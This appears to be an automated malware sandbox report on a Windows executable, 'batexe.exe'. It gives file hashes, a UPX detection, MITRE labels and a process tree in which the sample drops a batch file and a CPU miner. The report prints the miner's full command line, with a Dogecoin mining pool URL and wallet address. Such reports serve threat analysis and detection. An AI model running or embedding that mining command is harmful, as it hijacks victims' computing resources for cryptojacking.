73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
294s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
20/02/2024, 12:36

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3672	b2e.exe
3904	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3904	cpuminer-sse2.exe
3904	cpuminer-sse2.exe
3904	cpuminer-sse2.exe
3904	cpuminer-sse2.exe
3904	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2656-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2656 wrote to memory of 3672	2656	batexe.exe	75
PID 2656 wrote to memory of 3672	2656	batexe.exe	75
PID 2656 wrote to memory of 3672	2656	batexe.exe	75
PID 3672 wrote to memory of 2932	3672	b2e.exe	76
PID 3672 wrote to memory of 2932	3672	b2e.exe	76
PID 3672 wrote to memory of 2932	3672	b2e.exe	76
PID 2932 wrote to memory of 3904	2932	cmd.exe	79
PID 2932 wrote to memory of 3904	2932	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2656
- C:\Users\Admin\AppData\Local\Temp\A596.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\A596.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\A596.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3672
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A76B.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2932
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3904

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\A596.tmp\b2e.exe

Filesize
6.6MB

MD5
9d7c62e70bf214a0791c7ea366d72d67

SHA1
a5557f33f3fca4337d6871919fa8b195a2f4ed92

SHA256
e94dce37383328ec711428bddeb1daef724c63903048d3a608a5936b2c539d39

SHA512
1ee00e325d74bb2b261395de120f1ba625c227c98c1bef475fd2a264d8357a341b37b309c99991fe3c7772710d69bb66206e9f34ff782598487742efbd7a9997

Download Submit
C:\Users\Admin\AppData\Local\Temp\A596.tmp\b2e.exe

Filesize
6.0MB

MD5
423799e911a3b0acbffbc3da317b6500

SHA1
e2d384a83c59389ea5c621ef67e55a918276563b

SHA256
38429859b6f2654faf5d70b17ac3941c85a24a25118c96ec302750c796f6a2ed

SHA512
377da02dac0f56b680712439f7f81a7bd78f6cf6bbfbefb7ab7480a52861d7c66467d3e48aa604d352659e6e055b4c35f2ec5b1b50234db5d9fac4c38f0ddd4f

Download Submit
C:\Users\Admin\AppData\Local\Temp\A76B.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.9MB

MD5
0cce36cc9997a0079cc3019ecc06513d

SHA1
a47e8c73a0b8ea75bbf3e7cadc083148cc50181f

SHA256
afb9469d12b1327de4dd764443b0991fb6a854a1884baac9adac53f9d813c7ac

SHA512
329aa28ead89e179c49c517b5b5e02df0ae76610a936881ff4ed1c04a3fb548c3fbfeef0ee04d8970f12cfa329445b53ae1885ce7928a63a5d45b43afd078980

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.6MB

MD5
42235e1a5ccfd2a5ea26fb34a557e744

SHA1
354ffc59f039a5706b1858c282ec2d24da0ef607

SHA256
4d60c58f93a399dfcc66c82e82a26f0b4c588ea71b985d037fbd0f0daa232b98

SHA512
78bd5be748ec5f11a527b8b8127a18185faef554cd6fd55fef424f25ff98bd75140a0acf09e6cf74122e00820779fc56b894d4653bc0c7e0d6c8f44b60c22961

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.4MB

MD5
5ddabdfb4c565d33d5d3397c0a88b0b1

SHA1
710b32a2d9157001db7e7e7577a430ada0cdc307

SHA256
9d61af9202df50e9ce15a00c4c34b5d21ab757624e73a333f0050e7dabbcac20

SHA512
105da91666ed6969a367dd0b8c80c05682544bcf8ad740da4af12b410e32babfff8f39fcc4c9d00ec27fe6f24bf72eea55c8acc5b3359345c3ea4c8040527681

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2656-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3672-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3672-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3904-43-0x000000006DB00000-0x000000006DB98000-memory.dmp

Filesize
608KB

Download
memory/3904-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3904-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3904-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/3904-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3904-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3904-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3904-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3904-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3904-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3904-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3904-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3904-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3904-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3904-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3904-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download